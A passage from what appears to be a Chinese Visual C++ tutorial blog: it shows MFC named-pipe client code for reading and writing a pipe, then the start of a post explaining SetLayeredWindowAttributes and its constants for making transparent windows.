  0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
 if(INVALID_HANDLE_VALUE==hPipe)
 {
  MessageBox(“打开命名管道失败!”);
  hPipe=NULL;
  return;
 }
}

void CNamedPipeCltView::OnPipeRead()
{
 char buf[100];
 DWORD dwRead;
 if(!ReadFile(hPipe,buf,100,&dwRead,NULL))
 {
  MessageBox(“读取数据失败!”);
  return;
 }
 MessageBox(buf);
}

void CNamedPipeCltView::OnPipeWrite()
{
 char buf[]=”命名管道测试程序”;
 DWORD dwWrite;
 if(!WriteFile(hPipe,buf,strlen(buf)+1,&dwWrite,NULL))
 {
  MessageBox(“写入数据失败!”);
  return;
 }
}




Modified At 2008-03-27 20:52:48

Visual C++实现透明窗体

简单介绍一下SetLayeredWindowAttributes:

 

 

 

一些常量:

  WS_EX_LAYERED = 0x80000;
  LWA_ALPHA = 0x2;

  LWA_COLORKEY=0x1

  其中dwFlags有LWA_ALPHA和LWA_COLORKEY。LWA_ALPHA被设置的话,通过bAlpha决定透明度,LWA_COLORKEY被设置的话,则指定被透明掉的颜色为crKey,其他颜色则正常显示。

  注:要使使窗体拥有透明效果,首先要有WS_EX_LAYERED扩展属性(旧sdk也没有的)。

 

例子代码:

  在OnInitDialog()加入:

 




以上是通过“未公开”api的使用的方法来使用的。